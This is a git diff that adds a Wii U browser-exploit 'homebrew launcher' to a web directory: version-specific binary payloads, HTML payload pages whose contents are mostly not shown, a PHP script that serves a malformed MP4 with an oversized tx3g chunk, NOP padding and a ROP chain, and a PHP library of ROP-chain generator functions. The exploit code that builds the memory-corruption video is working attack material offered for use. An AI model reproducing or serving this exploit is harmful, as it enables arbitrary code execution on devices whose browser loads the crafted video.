diff --git a/www/homebrew_launcher/code400.bin b/www/homebrew_launcher/code400.bin new file mode 100644 index 0000000..7f4500a Binary files /dev/null and b/www/homebrew_launcher/code400.bin differ diff --git a/www/homebrew_launcher/code410.bin b/www/homebrew_launcher/code410.bin new file mode 100644 index 0000000..df07fff Binary files /dev/null and b/www/homebrew_launcher/code410.bin differ diff --git a/www/homebrew_launcher/code500.bin b/www/homebrew_launcher/code500.bin new file mode 100644 index 0000000..2daafd4 Binary files /dev/null and b/www/homebrew_launcher/code500.bin differ diff --git a/www/homebrew_launcher/code532.bin b/www/homebrew_launcher/code532.bin new file mode 100644 index 0000000..1d11c8d Binary files /dev/null and b/www/homebrew_launcher/code532.bin differ diff --git a/www/homebrew_launcher/code550.bin b/www/homebrew_launcher/code550.bin new file mode 100644 index 0000000..c347418 Binary files /dev/null and b/www/homebrew_launcher/code550.bin differ diff --git a/www/homebrew_launcher/frame.html b/www/homebrew_launcher/frame.html new file mode 100644 index 0000000..9061fea --- /dev/null +++ b/www/homebrew_launcher/frame.html @@ -0,0 +1,25 @@ + +
+ + + + diff --git a/www/homebrew_launcher/index.html b/www/homebrew_launcher/index.html new file mode 100644 index 0000000..62f3919 --- /dev/null +++ b/www/homebrew_launcher/index.html @@ -0,0 +1,111 @@ + + + + + + + + + diff --git a/www/homebrew_launcher/payload.php b/www/homebrew_launcher/payload.php new file mode 100644 index 0000000..0982941 --- /dev/null +++ b/www/homebrew_launcher/payload.php @@ -0,0 +1,143 @@ += 0x6000) + { + header("HTTP/1.1 500 Internal Server Error"); + die("The payload binary is too large.\n"); + } + + while($i+4 < 0x5000) + { + $con.= pack("N*", 0x90909090); + $i+= 4; + } + + continue; + } + else + { + $writeval = 0x58585858; + } + } + else if($i<$tx3g_ropchain_start) + { + $writeval = $ROP_POPJUMPLR_STACK12; + } + else if($i==$tx3g_ropchain_start) + { + $con.= pack("N*", $ROP_POPJUMPLR_STACK12); + $con.= pack("N*", 0x48484848);//If LR ever gets loaded from here there's no known way to recover from that automatically, this code would need manually adjusted if that ever happens. Hopefully this doesn't ever happen. + $i+= 0x8; + $con.= $ROPCHAIN; + $i+= strlen($ROPCHAIN)-4; + + if($i+4 > $first_tx3g_size-8) + { + header("HTTP/1.1 500 Internal Server Error"); + $pos = ($i+4) - ($first_tx3g_size-8); + die("The generated ROP-chain is $pos bytes too large.\n"); + } + + continue; + } + else + { + $writeval = 0x48484848; + } + + $con.= pack("N*", $writeval); +} + +$con.= pack("N*", 0x1c5);//Setup the mdia chunk. +$con.= pack("N*", 0x6d646961); + +$con.= pack("N*", 0x1);//Setup the second tx3g chunk: size+chunkid, followed by the actual chunk size in u64 form. +$con.= pack("N*", 0x74783367); +$con.= pack("N*", 0x1); +$con.= pack("N*", 0x100000000-$first_tx3g_size);//Haxx buffer alloc size passed to the memalloc code is 0x100000000. + +for($i=0; $i<0x2000; $i+=4)//Old stuff, probably should be removed(testing is required for that). +{ + $con.= pack("N*", 0x8495a6b4); +} + +header("Content-Type: video/mp4"); + +echo $con; + +?> diff --git a/www/homebrew_launcher/payload400.html b/www/homebrew_launcher/payload400.html new file mode 100644 index 0000000..670e21b --- /dev/null +++ b/www/homebrew_launcher/payload400.html @@ -0,0 +1,580 @@ + + + + + + + + diff --git a/www/homebrew_launcher/payload410.html b/www/homebrew_launcher/payload410.html new file mode 100644 index 0000000..68ff450 --- /dev/null +++ b/www/homebrew_launcher/payload410.html @@ -0,0 +1,580 @@ + + + + + + + + diff --git a/www/homebrew_launcher/payload500.html b/www/homebrew_launcher/payload500.html new file mode 100644 index 0000000..025f27d --- /dev/null +++ b/www/homebrew_launcher/payload500.html @@ -0,0 +1,580 @@ + + + + + + + + diff --git a/www/homebrew_launcher/payload532.html b/www/homebrew_launcher/payload532.html new file mode 100644 index 0000000..144b137 --- /dev/null +++ b/www/homebrew_launcher/payload532.html @@ -0,0 +1,649 @@ + \ No newline at end of file diff --git a/www/homebrew_launcher/wiiu_browserhax_common.php b/www/homebrew_launcher/wiiu_browserhax_common.php new file mode 100644 index 0000000..302cb5d --- /dev/null +++ b/www/homebrew_launcher/wiiu_browserhax_common.php @@ -0,0 +1,440 @@ +); + + ropchain_appendu32($r28);//r28 + ropchain_appendu32(0x0);//r29 + ropchain_appendu32(0x0);//r30 + ropchain_appendu32(0x0);//r31 + ropchain_appendu32(0x0); + + ropgen_OSFatal($outstr); +} + +function ropgen_switchto_core1() +{ + global $ROP_OSGetCurrentThread, $ROP_OSSetThreadAffinity, $ROP_OSYieldThread, $ROP_CALLR28_POP_R28_TO_R31; + + ropgen_callfunc($ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, $ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below. + + ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(